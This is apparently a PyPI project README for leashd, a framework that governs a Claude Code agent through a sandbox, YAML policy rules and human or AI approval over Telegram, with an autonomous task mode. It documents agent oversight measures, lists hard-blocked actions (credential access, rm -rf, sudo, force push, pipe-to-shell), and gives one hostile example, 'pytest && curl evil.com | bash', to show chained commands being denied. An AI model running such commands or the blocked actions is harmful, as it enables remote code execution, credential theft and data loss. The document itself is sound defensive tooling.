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End-to-end agentic coding workflow with safety guardrails. Plan, execute, test - with human-in-the-loop approval

Project description

leashd

Safety-first agentic coding framework. Run Claude Code as a background daemon — govern it with policy rules, approve actions from your phone, or let it run fully autonomous with AI-driven approval, test-and-retry loops, and automatic PR creation.

PyPI Python 3.10+ Coverage 89%+ Status: Alpha License


leashd runs as a background daemon on your dev machine. You send it natural-language coding instructions from Telegram on your phone. Each request passes through a three-layer safety pipeline — sandbox enforcement, YAML policy rules, and human-or-AI approval — before reaching Claude Code. In interactive mode, risky actions surface as Approve / Reject buttons in your chat. In autonomous mode, an AI approver evaluates tool calls, a task orchestrator drives multi-phase workflows (spec → explore → plan → implement → test → PR), and a test-and-retry loop ensures quality — all without you touching your phone. Everything is logged to an append-only audit trail.

The result: a coding workflow that scales from phone-supervised pair programming to fully autonomous task execution, with guardrails you define.


How It Works

Interactive Mode

Your phone (Telegram)
        │
        ▼
   leashd daemon          ← runs in background on your dev machine
        │
        ├─ 1. Sandbox       ← path-scoped: blocks anything outside approved dirs
        ├─ 2. Policy rules  ← YAML: allow / deny / require_approval per tool/command
        └─ 3. Human gate    ← Approve / Reject buttons sent to your Telegram
                │
                ▼
         Claude Code agent  ← reads files, writes code, runs tests

Autonomous Mode

/task "Add health check endpoint"  (Telegram)
        │
        ▼
   Task Orchestrator
        │
        ├─ spec          ← analyzes task, writes specification
        ├─ explore        ← reads codebase structure and conventions
        ├─ validate       ← checks spec against codebase findings
        ├─ plan           ← creates implementation plan
        ├─ implement      ← writes code (file writes auto-approved)
        ├─ test           ← runs test suite via TestRunnerPlugin
        ├─ retry (×3)     ← fixes failures with exponential backoff
        └─ pr             ← creates PR via gh CLI
                │
                ▼
   You get a PR link — or an escalation message if the agent gets stuck

AI approval replaces human taps: a claude -p CLI call evaluates each require_approval tool call in context and decides automatically. Hard blocks (credentials, rm -rf, force push) can never be overridden.

Sessions are multi-turn: Claude remembers the full conversation context, so you can iterate naturally across messages ("now add tests for that", "rename it to X").


Quick Start

Prerequisites

  • Python 3.10+
  • Claude Code CLI — installed and authenticated. The claude command must work in your terminal.
  • Telegram account — to create a bot

1. Install

pip install leashd

Or with uv (recommended):

uv tool install leashd

2. Create a Telegram bot

  1. Open Telegram and search for @BotFather
  2. Send /newbot and follow the prompts
  3. Copy the token BotFather gives you (looks like 123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11)
  4. Message @userinfobot to get your numeric user ID (e.g. 981234567) — this restricts the bot to only you

3. Run the setup wizard

leashd init

The wizard prompts you for your approved directory/directories and optional Telegram credentials, and writes ~/.leashd/config.yaml. No manual config file editing needed.

4. Start the daemon

leashd start

leashd starts in the background. Check it with leashd status, stop it with leashd stop.

5. Start coding from your phone

Open Telegram, find your bot, and send something like:

"Add a health check endpoint to the FastAPI app"

Claude starts working. When it needs to do something gated by policy (e.g. write a file), you'll get an Approve / Reject button in the chat.


What's New in 0.6.0

Autonomous task orchestrator — send /task Add a health check endpoint from Telegram and the agent autonomously runs spec → explore → validate → plan → implement → test → PR. Comes back with a pull request or an escalation message. Crash recovery, per-phase cost tracking, and SQLite persistence built in. See the Autonomous Setup Guide.

AI-driven phase transitions — an AI evaluator replaces brittle substring heuristics to decide whether to advance, retry, escalate, or complete between task phases.

AI approval & plan reviewAutoApprover replaces human approval taps with a claude -p CLI evaluation. AutoPlanReviewer replaces manual plan review. Both have circuit breakers and full audit logging.

Autonomous loop — post-task test-and-retry with exponential backoff. After /edit tasks, the agent runs tests, retries on failure, and optionally creates a PR.

Autonomous policyautonomous.yaml is purpose-built for autonomous mode. Hard blocks remain (credentials, rm -rf, force push), but dev tools, file writes, and test runners are auto-allowed.

Agentic testing in task orchestrator — the test phase uses TestRunnerPlugin for structured 9-phase testing instead of plain pytest, with API spec discovery (.http, .rest, openapi.yaml/json, swagger.yaml/json) for smarter test prompts.

/stop command — stop all ongoing work (agent, task, autonomous loop) without resetting the session.

leashd restart & leashd reload — restart the daemon or live-reload config via SIGHUP without downtime.

leashd autonomous CLI — guided setup, quick enable/disable for autonomous features. See Autonomous Setup Guide.

Compound command classification — the policy engine now splits &&, ||, and ; chains and evaluates each segment independently, preventing policy evasion via compound commands.

Workspace improvementsleashd ws add merges directories into existing workspaces; leashd ws remove <name> <dir> removes specific directories; CLAUDE.md is loaded from all workspace directories via SDK add_dirs.

See CHANGELOG.md for the full history.


Daemon Mode

leashd runs as a background process by default.

leashd start           # start daemon (background)
leashd start -f        # start in foreground (useful for debugging)
leashd status          # check if daemon is running
leashd stop            # graceful shutdown
leashd restart         # stop + start
leashd reload          # reload config without restart (SIGHUP)
leashd version         # print version and exit

Logs go to ~/.leashd/logs/app.log by default. Set LEASHD_LOG_DIR to change the path.


Autonomous Mode

Autonomous mode replaces manual approval taps and plan reviews with AI evaluation, adds a post-task test-and-retry loop, and drives multi-phase autonomous tasks through the task orchestrator. Send /task <description> from Telegram and come back to a PR — or an escalation message if the agent gets stuck.

leashd autonomous          # show current autonomous settings
leashd autonomous setup    # run autonomous config wizard
leashd autonomous enable   # quick-enable with defaults
leashd autonomous disable  # disable autonomous mode

Three Guarantees

  1. Human-in-the-loop when it matters — hard blocks (credentials, force push, rm -rf, sudo) can never be overridden by any approver. The AI approver only handles require_approval decisions, never deny decisions.
  2. Fail-safe defaults — the AutoApprover fails closed (denies on error), the AutonomousLoop escalates to the human when retries are exhausted, and circuit breakers cap both approval calls and plan revisions per session.
  3. Full auditability — every AI approval decision is logged with approver_type in the same append-only JSONL audit trail. No decision is invisible.

Task Orchestrator vs Autonomous Loop

Aspect /task (Task Orchestrator) /edit (Autonomous Loop)
Use when Starting from scratch — "build feature X" You know what to change — "fix the login bug"
Phases spec → explore → validate → plan → implement → test → PR Single-shot: implement → test → retry
Planning Automatic spec and plan generation with validation No planning — goes straight to implementation
Crash recovery Full — resumes from current phase after restart None — starts over
Cost tracking Per-phase breakdown and total Session-level only

See the Autonomous Setup Guide for a full walkthrough and the Autonomous Mode Reference for the technical details.


Configuration

leashd uses a layered config system — each layer overrides the one before it:

~/.leashd/config.yaml   ← global base (managed by leashd init / leashd config)
.env in your project    ← per-project overrides
environment variables   ← highest priority

First-time setup

leashd init

Inspecting resolved config

leashd config

Managing approved directories

leashd add-dir /path/to/project
leashd remove-dir /path/to/project
leashd dirs

Full configuration reference

All settings are environment variables prefixed with LEASHD_. Set them in ~/.leashd/config.yaml, a local .env, or export them directly.

Variable Default Description
LEASHD_APPROVED_DIRECTORIES required Directories the agent can work in (comma-separated). Must exist.
LEASHD_TELEGRAM_BOT_TOKEN Bot token from @BotFather. Without this, leashd runs in local CLI mode.
LEASHD_ALLOWED_USER_IDS (no restriction) Comma-separated Telegram user IDs that can use the bot. Empty = anyone.
LEASHD_MAX_TURNS 150 Max conversation turns per request.
LEASHD_SYSTEM_PROMPT Custom system prompt for the agent.
LEASHD_POLICY_FILES built-in default.yaml Comma-separated paths to YAML policy files.
LEASHD_APPROVAL_TIMEOUT_SECONDS 300 Seconds to wait for approval tap before auto-denying.
LEASHD_RATE_LIMIT_RPM 0 (off) Max requests per minute per user.
LEASHD_RATE_LIMIT_BURST 5 Burst capacity for the rate limiter.
LEASHD_STORAGE_BACKEND sqlite sqlite (persistent) or memory (sessions lost on restart).
LEASHD_STORAGE_PATH .leashd/messages.db SQLite database path.
LEASHD_LOG_LEVEL INFO DEBUG, INFO, WARNING, or ERROR.
LEASHD_LOG_DIR ~/.leashd/logs Directory for rotating JSON logs.
LEASHD_AUDIT_LOG_PATH .leashd/audit.jsonl Append-only audit log of all tool decisions.
LEASHD_ALLOWED_TOOLS (all) Allowlist of Claude tool names. Empty = all allowed.
LEASHD_DISALLOWED_TOOLS (none) Denylist of Claude tool names.
LEASHD_STREAMING_ENABLED true Progressive streaming updates in Telegram.
LEASHD_STREAMING_THROTTLE_SECONDS 1.5 Min seconds between message edits during streaming.
LEASHD_AGENT_TIMEOUT_SECONDS 3600 Agent execution timeout (60 minutes).
LEASHD_DEFAULT_MODE default Default session mode: "default", "plan", or "auto".
LEASHD_MCP_SERVERS {} JSON dict of MCP server configurations.
LEASHD_TASK_ORCHESTRATOR false Enable multi-phase task orchestrator (/task command).
LEASHD_TASK_MAX_RETRIES 3 Max test-failure retries per task.
LEASHD_TASK_PHASE_TIMEOUT_SECONDS 1800 Max seconds per phase (30 minutes).
LEASHD_INTERACTION_TIMEOUT_SECONDS 300 Timeout for agent-user interactions (plan review, questions).
LEASHD_AUTO_APPROVER false Enable AI auto-approver (replaces human approval taps).
LEASHD_AUTO_APPROVER_MODEL Model for auto-approver evaluations.
LEASHD_AUTO_APPROVER_MAX_CALLS 50 Max tool call evaluations per request.
LEASHD_AUTONOMOUS_LOOP false Enable post-task test-and-retry loop.
LEASHD_AUTONOMOUS_MAX_RETRIES 3 Max retries in autonomous loop.
LEASHD_AUTO_PLAN false Enable AI plan reviewer (replaces manual plan review).
LEASHD_AUTO_PLAN_MODEL Model for auto plan reviewer.
LEASHD_AUTO_PR false Auto-create PRs after /task completion.
LEASHD_AUTO_PR_BASE_BRANCH main Base branch for auto PRs.
LEASHD_LOG_MAX_BYTES 10485760 Max log file size before rotation (10 MB).
LEASHD_LOG_BACKUP_COUNT 5 Number of rotated log backups.

Safety

Every tool call Claude makes passes through a three-layer pipeline before it can execute:

1. Sandbox — The agent can only touch files inside LEASHD_APPROVED_DIRECTORIES. Path traversal attempts are blocked immediately and logged as security violations.

2. Policy rules — YAML rules classify each tool call as allow, deny, or require_approval based on the tool name, command patterns, and file path patterns. Rules are evaluated in order; first match wins. Compound bash commands (&&, ||, ;) are split and evaluated segment-by-segment with deny-wins precedence — pytest && curl evil.com | bash is denied.

3. Human or AI approval — For require_approval actions, leashd either sends an inline message to Telegram with Approve and Reject buttons (interactive mode) or evaluates the tool call via the AI auto-approver (autonomous mode). If no response within the timeout, the action is auto-denied.

Everything is logged to .leashd/audit.jsonl — every tool attempt, every decision, every approver type.

Built-in policies

leashd ships five policies in policies/:

default.yaml (recommended) — balanced for everyday use.

  • Auto-allows: file reads, search, grep, git status/log/diff, read-only browser tools
  • Requires approval: file writes/edits, git push/rebase/merge, network commands, browser mutations
  • Hard-blocks: credential file access, rm -rf, sudo, force push, pipe-to-shell, SQL DROP/TRUNCATE

strict.yaml — maximum safety, more approval taps.

  • Auto-allows: only reads (Read, Glob, Grep, LS)
  • Requires approval: everything else
  • 2-minute approval timeout

permissive.yaml — for trusted environments where you want minimal interruptions.

  • Auto-allows: reads, writes, package managers, test runners, git add/commit/stash, all browser tools
  • Requires approval: git push, network commands, anything not explicitly listed
  • 10-minute approval timeout

dev-tools.yaml (overlay) — auto-allows common dev commands. Loaded alongside default.yaml by default.

  • Auto-allows: linters (ruff, eslint, prettier), test runners (pytest, jest, vitest), package managers (npm install, pip install, uv sync, cargo build)

autonomous.yaml — for fully autonomous operation with task orchestrator.

  • Auto-allows: file writes, test runners, linters, package managers, safe git, GitHub CLI PR
  • AI-evaluated: git push (feature branches), network commands, browser mutations
  • Hard-blocks: credentials, force push, push to main/master, rm -rf, sudo, pipe-to-shell

Switch policies:

LEASHD_POLICY_FILES=policies/strict.yaml

Combine multiple policy files (rules merged, evaluated in order):

LEASHD_POLICY_FILES=policies/default.yaml,policies/my-overrides.yaml

Telegram Commands

Once the daemon is running and your bot is set up, these slash commands are available in chat:

Command Description
/plan <text> Switch to plan mode and start — Claude proposes, you approve before execution
/edit <text> Switch to edit mode and start — direct implementation
/default Switch back to balanced default mode
/dir Switch working directory (inline buttons)
/git <subcommand> Full git suite: status, branch, checkout, diff, log, add, commit, push, pull
/test 9-phase agent-driven test workflow with browser automation
/task <description> Autonomous multi-phase task: spec → explore → plan → implement → test → PR
/tasks List active and recent tasks for the current chat
/stop Stop all ongoing work (agent, task, loop) without resetting session
/cancel Cancel the active task in the current chat
/ws Manage workspaces inline
/status Show current session, mode, and directory
/clear Clear conversation history, cancel active tasks, and start fresh

Workspaces

Group related repositories under named workspaces for multi-repo context:

leashd ws add my-saas ~/src/api ~/src/web   # create a workspace
leashd ws add my-saas ~/src/worker           # add a dir to existing workspace
leashd ws list                               # list all workspaces
leashd ws show my-saas                       # inspect repos in a workspace
leashd ws remove my-saas ~/src/worker        # remove a dir from workspace
leashd ws remove my-saas                     # remove entire workspace

Workspaces are configured in .leashd/workspaces.yaml and inject context into the agent's system prompt automatically. CLAUDE.md files from all workspace directories are loaded via SDK add_dirs.


Session Persistence

By default, sessions are stored in SQLite (.leashd/messages.db) and persist across daemon restarts — Claude remembers conversation context between sessions. Every message is stored with cost, duration, and session metadata.

For development or testing, use in-memory storage:

LEASHD_STORAGE_BACKEND=memory

Browser Testing

leashd integrates with Playwright MCP to give Claude browser automation capabilities — navigating pages, clicking elements, taking snapshots, and generating Playwright tests — all gated by the safety pipeline.

Prerequisites: Node.js 18+ and a one-time browser install:

npx playwright install chromium

The .mcp.json at the project root pre-configures Claude Code to spawn the Playwright MCP server. Read-only browser tools (snapshots, screenshots) are auto-allowed in default.yaml; mutation tools (click, navigate, type) require approval.

Typical workflow:

  1. Start your dev server (npm run dev, uvicorn, etc.)
  2. In Telegram: /test --url http://localhost:3000
  3. Claude navigates, verifies, and reports — each mutation tap needs your approval

See docs/browser-testing.md for the full guide.


Streaming

Telegram responses stream in real time — the message updates progressively as Claude types. While tools are running, you see a live indicator (e.g., 🔧 Bash: pytest tests/). The final message includes a tool usage summary (e.g., 🧰 Bash ×3, Read, Glob).

Disable with LEASHD_STREAMING_ENABLED=false.


CLI Mode

No Telegram token? leashd falls back to a local REPL — useful for testing your config before going mobile:

# Don't set LEASHD_TELEGRAM_BOT_TOKEN, then:
leashd start -f
# > type your prompts here

Note: actions requiring approval are auto-denied in CLI mode since there's no approval UI.


Logging

leashd uses structlog for structured logging.

LEASHD_LOG_LEVEL=DEBUG     # full trace including policy decisions
LEASHD_LOG_LEVEL=INFO      # default — operational events
LEASHD_LOG_LEVEL=WARNING   # warnings and errors only

Enable file logging (JSON, rotating):

LEASHD_LOG_DIR=~/.leashd/logs

Key log event sequence at INFO:

engine_building → engine_built → daemon_starting → session_created →
request_started → agent_execute_started → agent_execute_completed →
request_completed

Architecture

leashd's core is the Engine, which receives messages from connectors, runs them through middleware (auth, rate limiting), delegates to the Claude Code agent, and sends responses back. Every tool call the agent makes is intercepted by the Gatekeeper, which orchestrates the three-layer safety pipeline. An EventBus decouples subsystems — plugins subscribe to events like tool.allowed, tool.denied, approval.requested, and task.submitted. Connectors (Telegram, CLI) and storage backends (SQLite, memory) are swappable via protocol classes. The TaskOrchestrator and AutonomousLoop plug into the event bus as autonomous execution plugins.

Telegram connector
      │
   Middleware (auth, rate limit)
      │
   Engine ──── EventBus ──── TaskOrchestrator
      │                       AutonomousLoop
   Gatekeeper ──────────────────────────────┐
      │                                     │
   Claude Code agent             1. Sandbox check
      │                          2. Policy rule match
      └── tool call ──────────▶  3. Human / AI approval

Development

# Clone and install (including dev dependencies)
git clone git@github.com:nodenova/leashd.git && cd leashd
uv sync

# Run tests
uv run pytest tests/
uv run pytest tests/test_policy.py -v          # single file
uv run pytest --cov=leashd tests/              # with coverage

# Lint and format
uv run ruff check .
uv run ruff check --fix .
uv run ruff format .

Status

leashd is alpha — the API and config schema may change between versions. Core functionality (daemon, safety pipeline, Telegram integration, policy engine, task orchestrator) is stable and tested at 89%+ coverage. Not recommended for production environments where agent actions could have irreversible consequences without review.

If you hit a bug or have a feature idea, open an issue.


License

Apache 2.0 — © NodeNova Ltd

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